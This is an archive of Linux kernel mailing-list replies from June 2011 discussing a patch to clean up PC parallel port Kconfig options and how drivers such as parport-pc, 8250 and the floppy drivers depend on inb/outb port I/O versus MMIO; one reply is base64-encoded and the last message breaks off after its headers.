Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 11:46:13 +0200
Lines: 59
Approved: news@gmane.org
Message-ID: <201106151146.13320.arnd@arndb.de>
References: <20110614190850.GA13526@linux-mips.org>
	<201106142333.16203.arnd@arndb.de> <4DF83577.6040903@zytor.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308131234 11136 80.91.229.12 (15 Jun 2011 09:47:14 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 09:47:14 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>, Fenghua Yu <fenghua.yu@intel.com>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lis
To: "H. Peter Anvin" <hpa@zytor.com>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Wed Jun 15 11:47:02 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1QWmgf-0002gc-0r
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 15 Jun 2011 11:47:01 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id 674F5B7425
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 15 Jun 2011 19:46:47 +1000 (EST)
Original-Received: from moutng.kundenserver.de (moutng.kundenserver.de
	[212.227.126.187]) by ozlabs.org (Postfix) with ESMTP id 5A4A3B6F92
	for <linuxppc-dev@lists.ozlabs.org>;
	Wed, 15 Jun 2011 19:46:39 +1000 (EST)
Original-Received: from klappe2.localnet (deibp9eh1--blueice3n2.emea.ibm.com
	[195.212.29.180])
	by mrelayeu.kundenserver.de (node=mreu3) with ESMTP (Nemesis)
	id 0Lx0lJ-1PQs4Z3vD7-016il5; Wed, 15 Jun 2011 11:46:19 +0200
User-Agent: KMail/1.12.2 (Linux/2.6.31-22-generic; KDE/4.3.2; x86_64; ; )
In-Reply-To: <4DF83577.6040903@zytor.com>
X-Provags-ID: V02:K0:UgVhHbJxxDK/cApY1GY56+x3rDAp403fcp7osiEzSV+
	c/BkLKpeSzJWKAH2NhkipzckEerD+ifXIZFDda14U+2AELaEDL
	5BuWUx5fUGyKn3Joch+yzM1xqBnNWVhb9ZpaSPDdMqGfRLeNam
	zPswG5xDOA1u7jkOKjVtu2cPE65ywcJ4YVdWx62K1sBQkqKmXy
	Vwd28VWYT/zHwfCqCRE3w==
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.14
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
	<mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:43682 gmane.linux.ports.mips.general:31497 gmane.linux.ports.m68k:2473 gmane.linux.ports.ia64:21729 gmane.linux.ports.sh.devel:11403 gmane.linux.ports.sparc:15151 gmane.linux.kernel.cross-arch:10035 gmane.linux.uclinux.microblaze:11615 gmane.linux.ports.arm.kernel:120580 gmane.linux.ports.parisc:3806 gmane.linux.kernel:1155131 gmane.linux.ports.alpha:1497
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/43682>

On Wednesday 15 June 2011, H. Peter Anvin wrote:
> On 06/14/2011 02:33 PM, Arnd Bergmann wrote:
> >>
> >> Why on earth restrict it like that?  It's just a device driver, like
> >> more or less any other device driver...
> > 
> > I'd say any other classic ISA/PC driver, including floppy, gameport or
> > serial-8250. One problem with these is that we never fully worked out
> > the dependencies for these, which we probably should. CONFIG_ISA
> > generally means ISA add-on cards, but that might not be enabled for
> > platforms that have a pc-parport but no ISA slots.
> > 
> 
> OK, serial-8250 is clearly just plain wrong, since the 8250 series UARTs
> are ubiquitous across just about every platform.

Obviously you want to support 8250 uarts with MMIO on most architectures,
but the driver can only be built if you define both MMIO and PIO 
accessors (readb and outb). I would like to make the PIO part of 8250
conditional on having PIO support so that an architecture that doesn't
support this no longer has to provide fake accessor functions.

> Parallel port is an intermediate case... Centronics parallel ports
> predate the PC ecosystem by quite a bit, and the particular arrangement
> of ports became popular with the PC and spread to other platforms, but
> the particular variant of it known as ECP (as opposed to EPP) is ISA DMA
> specific.

The driver looks like it can easily be built without support for the ISA DMA
API.

> > On the other hand, you have embedded platforms that currently build support
> > for parport-pc but define the inb/outb macros to plain pointer dereferences
> > (otherwise you can't build the 8250 driver). Loading parport-pc on those
> > machines typically results in derefencing user memory in the best case.
> >
> > What I'd love to see is a configuration option for "arch has working
> > PC-style inb/outb instructions", so we can build a kernel without them but
> > still get MMIO based drivers for PCI-less platforms.
> 
> Now, isn't that was iowrite/ioread was designed for?

Yes, it just isn't used consistently. As far as I can tell, this is for multiple
number of reasons:

* In case of 8250, the driver abstracts the difference between PIO and MMIO itself,
  because it uses the same method to do indirect accesses and different strides.
  Using ioread wouldn't really make the driver much simpler.

* For parport-pc, the driver really only needs PIO, we don't even
  try to support the same device on random MMIO addresses, and that might not
  be necessary.

* In case of floppies, the "solution" was to write a driver for every platform that
  doesn't have PIO, since they tend to have other differences. The amiflop and
  ataflop drivers are not even use readb(), they just derefence volatile pointers
  to do MMIO. I doubt we can find volunteers to clean that up.

	Arnd

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 13:24:24 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <BANLkTimMLDb6LL0HZv8XtHt=zvyE7eybyg@mail.gmail.com>
References: <20110614190850.GA13526@linux-mips.org>
	<201106142333.16203.arnd@arndb.de> <4DF83577.6040903@zytor.com>
	<201106151146.13320.arnd@arndb.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1308137087 13038 80.91.229.12 (15 Jun 2011 11:24:47 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 11:24:47 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, microblaze-uclinux@itee.uq.edu.au,
	Chris Metcalf <cmetcalf@tilera.com>, Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infrade
To: Arnd Bergmann <arnd@arndb.de>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 13:24:35 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWoD5-0004oD-Gw
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 13:24:35 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWoD4-0008SD-BD; Wed, 15 Jun 2011 11:24:34 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWoD3-0007Rn-Tg; Wed, 15 Jun 2011 11:24:33 +0000
Original-Received: from mail-bw0-f49.google.com ([209.85.214.49])
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWoCz-0007RU-W8 for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 11:24:30 +0000
Original-Received: by bwz1 with SMTP id 1so466739bwz.36
	for <linux-arm-kernel@lists.infradead.org>;
	Wed, 15 Jun 2011 04:24:27 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma;
	h=domainkey-signature:mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	bh=z1KTW2uOCYijPRZGY4wMIXaSj/CLGvkowI1pYxwn2I8=;
	b=F9K4PnYSrphTUPFtjyx7sIDD31+KIYXR8vz1nn7Bsi7GudUqIYHBNA1N0NkQ3urp7j
	BkOJ9F/AQiGH7+HLmIt2AiUcIHLfk/6NTaroW2cd5R+5G6VoGAGnVvEmPY1dAZMLQ6Z5
	3qmsje2Gram/nMMhJUfWfHjO28eHB0hAOtrAE=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma;
	h=mime-version:sender:in-reply-to:references:date
	:x-google-sender-auth:message-id:subject:from:to:cc:content-type
	:content-transfer-encoding;
	b=n4vGYZ7jjdiWtEe00gTKMZIiGrFDZRmvPt7nrELkoZ4iBtU5D0QNxOOSsWDuGV2nr5
	FKvHaexFU8c4J2sSE0IEkV3zmRtxeLLTgPs05cu1wvhgNa5ukGWcXuRiIlrOnM3sbABE
	86r1iJydidL+06p1WwA0zSqbJg+cP+DaN2dF4=
Original-Received: by 10.205.83.133 with SMTP id ag5mr403547bkc.121.1308137064885; Wed,
	15 Jun 2011 04:24:24 -0700 (PDT)
Original-Received: by 10.204.5.130 with HTTP; Wed, 15 Jun 2011 04:24:24 -0700 (PDT)
In-Reply-To: <201106151146.13320.arnd@arndb.de>
X-Google-Sender-Auth: xtqG9DxGsRbwd0OHLPKkj7TFyaI
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_072430_309628_5ECA892F 
X-CRM114-Status: GOOD (  13.32  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-0.7 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	-0.7 RCVD_IN_DNSWL_LOW RBL: Sender listed at http://www.dnswl.org/,
	low trust [209.85.214.49 listed in list.dnswl.org]
	0.0 FREEMAIL_FROM          Sender email is freemail
	(geert.uytterhoeven[at]gmail.com)
	0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
	not necessarily valid
	-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
	0.0 RFC_ABUSE_POST Both abuse and postmaster missing on sender domain
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120596 gmane.linux.ports.mips.general:31498 gmane.linux.ports.m68k:2474 gmane.linux.ports.ia64:21730 gmane.linux.ports.sh.devel:11404 gmane.linux.ports.sparc:15152 gmane.linux.kernel.cross-arch:10036 gmane.linux.uclinux.microblaze:11616 gmane.linux.ports.parisc:3807 gmane.linux.kernel:1155163 gmane.linux.ports.alpha:1498 gmane.linux.ports.ppc64.devel:75158
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120596>

T24gV2VkLCBKdW4gMTUsIDIwMTEgYXQgMTE6NDYsIEFybmQgQmVyZ21hbm4gPGFybmRAYXJuZGIu
ZGU+IHdyb3RlOgo+ICogSW4gY2FzZSBvZiBmbG9wcGllcywgdGhlICJzb2x1dGlvbiIgd2FzIHRv
IHdyaXRlIGEgZHJpdmVyIGZvciBldmVyeSBwbGF0Zm9ybSB0aGF0Cj4gwqBkb2Vzbid0IGhhdmUg
UElPLCBzaW5jZSB0aGV5IHRlbmQgdG8gaGF2ZSBvdGhlciBkaWZmZXJlbmNlcy4gVGhlIGFtaWZs
b3AgYW5kCj4gwqBhdGFmbG9wIGRyaXZlcnMgYXJlIG5vdCBldmVuIHVzZSByZWFkYigpLCB0aGV5
IGp1c3QgZGVyZWZlbmNlIHZvbGF0aWxlIHBvaW50ZXJzCj4gwqB0byBkbyBNTUlPLiBJIGRvdWJ0
IHdlIGNhbiBmaW5kIHZvbHVudGVlcnMgdG8gY2xlYW4gdGhhdCB1cC4KCkFtaWZsb3AgZHJpdmVz
IHRoZSBBbWlnYSBmbG9wcHkgY29udHJvbGxlciwgd2hpY2ggaXMgY29tcGxldGVseQpkaWZmZXJl
bnQgZnJvbSB0aGUKUEMtc3R5bGUgZmxvcHB5IGNvbnRyb2xsZXIuCkF0YWZsb3AgZHJpdmVzIHRo
ZSBBdGFyaSBmbG9wcHkgY29udHJvbGxlciwgd2hpY2ggc2VlbXMgdG8gYmUgYSBXRDE3NzIgYW5k
IG5vdApyZWxhdGVkIHRvIFBDLXN0eWxlIGZsb3BweSBjb250cm9sbGVycyBuZWl0aGVyLgoKU28g
bm9uZSBvZiB0aGVtIGRyaXZlIFBDLXN0eWxlIGhhcmR3YXJlLCBhbmQgYm90aCBwcmVkYXRlIHRo
ZSBnZW5lcmljIHJlYWRiKCkKaW5mcmFzdHJ1Y3R1cmUuCgpHcntvZXRqZSxlZXRpbmd9cywKCsKg
IMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIMKgIEdlZXJ0CgotLQpHZWVydCBVeXR0ZXJo
b2V2ZW4gLS0gVGhlcmUncyBsb3RzIG9mIExpbnV4IGJleW9uZCBpYTMyIC0tIGdlZXJ0QGxpbnV4
LW02OGsub3JnCgpJbiBwZXJzb25hbCBjb252ZXJzYXRpb25zIHdpdGggdGVjaG5pY2FsIHBlb3Bs
ZSwgSSBjYWxsIG15c2VsZiBhIGhhY2tlci4gQnV0CndoZW4gSSdtIHRhbGtpbmcgdG8gam91cm5h
bGlzdHMgSSBqdXN0IHNheSAicHJvZ3JhbW1lciIgb3Igc29tZXRoaW5nIGxpa2UgdGhhdC4KwqAg
wqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqAgwqDCoCDCoMKgIC0tIExpbnVzIFRv
cnZhbGRzCgpfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXwps
aW51eC1hcm0ta2VybmVsIG1haWxpbmcgbGlzdApsaW51eC1hcm0ta2VybmVsQGxpc3RzLmluZnJh
ZGVhZC5vcmcKaHR0cDovL2xpc3RzLmluZnJhZGVhZC5vcmcvbWFpbG1hbi9saXN0aW5mby9saW51
eC1hcm0ta2VybmVsCg==


From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guenter Roeck <guenter.roeck@ericsson.com>
Newsgroups: gmane.linux.ports.arm.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 07:36:34 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <20110615143634.GA12757@ericsson.com>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com>
	<20110614223404.GA30057@linux-mips.org>
	<4DF8329C.7000904@zytor.com>
	<20110615083437.GA32624@linux-mips.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308149223 27391 80.91.229.12 (15 Jun 2011 14:47:03 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 14:47:03 +0000 (UTC)
Cc: "linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-m68k@vger.kernel.org" <linux-m68k@vger.kernel.org>,
	"linux-ia64@vger.kernel.org" <linux-ia64@vger.kernel.org>,
	"linux-sh@vger.kernel.org" <linux-sh@vger.kernel.org>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Chen Liqin <liqin.chen@sunplusct.com>, Paul Mackerras <paulus@samba.org>,
	"H. Peter Anvin" <hpa@zytor.com>,
	"sparclinux@vger.kernel.org" <sparclinux@vger.kernel.org>,
	Guan Xuetao <gxt@mprc.pku.edu.cn>, Lennox Wu <lennox.wu@gmail.com>,
	"linux-arch@vger.kernel.org" <linux-arch@vger.kernel.org>,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Russell King <linux@arm.linux.org.uk>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, "x86@kernel.org" <x86@kernel.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68
To: Ralf Baechle <ralf@linux-mips.org>
Original-X-From: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org Wed Jun 15 16:46:51 2011
Return-path: <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>
Envelope-to: linux-arm-kernel@m.gmane.org
Original-Received: from merlin.infradead.org ([205.233.59.134])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org>)
	id 1QWrMp-0006hA-6u
	for linux-arm-kernel@m.gmane.org; Wed, 15 Jun 2011 16:46:51 +0200
Original-Received: from canuck.infradead.org ([2001:4978:20e::1])
	by merlin.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrMV-0000hh-3o; Wed, 15 Jun 2011 14:46:31 +0000
Original-Received: from localhost ([127.0.0.1] helo=canuck.infradead.org)
	by canuck.infradead.org with esmtp (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrMU-0002IO-K7; Wed, 15 Jun 2011 14:46:30 +0000
Original-Received: from imr3.ericy.com ([198.24.6.13])
	by canuck.infradead.org with esmtps (Exim 4.76 #1 (Red Hat Linux))
	id 1QWrMP-0002Ho-QR for linux-arm-kernel@lists.infradead.org;
	Wed, 15 Jun 2011 14:46:26 +0000
Original-Received: from eusaamw0712.eamcs.ericsson.se ([147.117.20.181])
	by imr3.ericy.com (8.13.8/8.13.8) with ESMTP id p5FEaWC5017071
	(version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=FAIL);
	Wed, 15 Jun 2011 09:36:35 -0500
Original-Received: from localhost (147.117.20.214) by eusaamw0712.eamcs.ericsson.se
	(147.117.20.182) with Microsoft SMTP Server id 8.3.137.0;
	Wed, 15 Jun 2011 10:36:34 -0400
Content-Disposition: inline
In-Reply-To: <20110615083437.GA32624@linux-mips.org>
User-Agent: Mutt/1.5.20 (2009-06-14)
X-CRM114-Version: 20090807-BlameThorstenAndJenny ( TRE 0.7.6 (BSD) )
	MR-646709E3 
X-CRM114-CacheID: sfid-20110615_104626_013887_6F854899 
X-CRM114-Status: GOOD (  15.29  )
X-Spam-Score: -2.3 (--)
X-Spam-Report: SpamAssassin version 3.3.1 on canuck.infradead.org summary:
	Content analysis details:   (-2.3 points)
	pts rule name              description
	---- ----------------------
	--------------------------------------------------
	0.0 SINGLE_HEADER_2K       A single header contains 2K-3K characters
	-2.3 RCVD_IN_DNSWL_MED RBL: Sender listed at http://www.dnswl.org/,
	medium trust [198.24.6.13 listed in list.dnswl.org]
X-BeenThere: linux-arm-kernel@lists.infradead.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: <linux-arm-kernel.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-arm-kernel/>
List-Post: <mailto:linux-arm-kernel@lists.infradead.org>
List-Help: <mailto:linux-arm-kernel-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-arm-kernel>, 
	<mailto:linux-arm-kernel-request@lists.infradead.org?subject=subscribe>
Original-Sender: linux-arm-kernel-bounces@lists.infradead.org
Errors-To: linux-arm-kernel-bounces+linux-arm-kernel=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.arm.kernel:120629 gmane.linux.ports.mips.general:31504 gmane.linux.ports.m68k:2476 gmane.linux.ports.ia64:21731 gmane.linux.ports.sh.devel:11410 gmane.linux.ports.sparc:15154 gmane.linux.kernel.cross-arch:10039 gmane.linux.uclinux.microblaze:11617 gmane.linux.ports.parisc:3808 gmane.linux.kernel:1155238 gmane.linux.ports.alpha:1499 gmane.linux.ports.ppc64.devel:75161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.arm.kernel/120629>

On Wed, Jun 15, 2011 at 04:34:37AM -0400, Ralf Baechle wrote:
> On Tue, Jun 14, 2011 at 09:18:36PM -0700, H. Peter Anvin wrote:
> 
> > On 06/14/2011 03:34 PM, Ralf Baechle wrote:
> > > 
> > > There is no point in offering to build something that couldn't possibly be
> > > used.  It just makes the kernel harder to configure and inflates the test
> > > matrix for no good reason.
> > > 
> > 
> > I see... that's why a bunch of devices that only exist on ARM and MIPS
> > SoCs are offered on x86 platforms?
> 
> Well, if you notice one of those, yell.  Or send patches.  Most of those
> have been fixed.
> 
I think he was being sarcastic, and wanted to say that it should be that way.

Guenter

From - Thu Nov 08 21:07:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.ports.mips.general,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.uclinux.microblaze,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha
Subject: Re: [RFC,PATCH] Cleanup PC parallel port Kconfig
Date: Wed, 15 Jun 2011 08:08:05 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <4DF8CAD5.1090902@zytor.com>
References: <20110614190850.GA13526@linux-mips.org>
	<4DF7C3CA.9050902@zytor.com> <201106142333.16203.arnd@arndb.de>
	<4DF83577.6040903@zytor.com>
	<20110615074749.GB28989@n2100.arm.linux.org.uk>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1308150578 3910 80.91.229.12 (15 Jun 2011 15:09:38 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 15 Jun 2011 15:09:38 +0000 (UTC)
Cc: linux-mips@linux-mips.org, linux-m68k@vger.kernel.org,
	linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
	Chen Liqin <liqin.chen@sunplusct.com>,
	Paul Mackerras <paulus@samba.org>, sparclinux@vger.kernel.org,
	Guan Xuetao <gxt@mprc.pku.edu.cn>,
	Lennox Wu <lennox.wu@gmail.com>, linux-arch@vger.kernel.org,
	Jesper Nilsson <jesper.nilsson@axis.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Helge Deller <deller@gmx.de>, x86@kernel.org,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m68k.org>,
	Matt Turner <mattst88@gmail.com>,
	Fenghua Yu <fenghua.yu@intel.com>, Arnd Bergmann <arnd@arndb.de>,
	microblaze-uclinux@itee.uq.edu.au, Chris Metcalf <cmetcalf@tilera.com>,
	Mikael Starvik <starvik@axis.com>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Thomas Gleixner <tglx@linutronix.de>, linux-arm-kernel@lists.infra
To: Russell King - ARM Linux <linux@arm.linux.org.uk>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Wed Jun 15 17:09:26 2011
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from ozlabs.org ([203.10.76.45])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1QWrif-0002xr-CG
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 15 Jun 2011 17:09:26 +0200
Original-Received: from ozlabs.org (localhost [IPv6:::1])
	by ozlabs.org (Postfix) with ESMTP id EC765B7019
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Thu, 16 Jun 2011 01:09:11 +1000 (EST)
Original-Received: from mail.zytor.com (terminus.zytor.com [IPv6:2001:1868:205::10])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client did not present a certificate)
	by ozlabs.org (Postfix) with ESMTPS id A1100B6F9D
	for <linuxppc-dev@lists.ozlabs.org>;
	Thu, 16 Jun 2011 01:09:05 +1000 (EST)
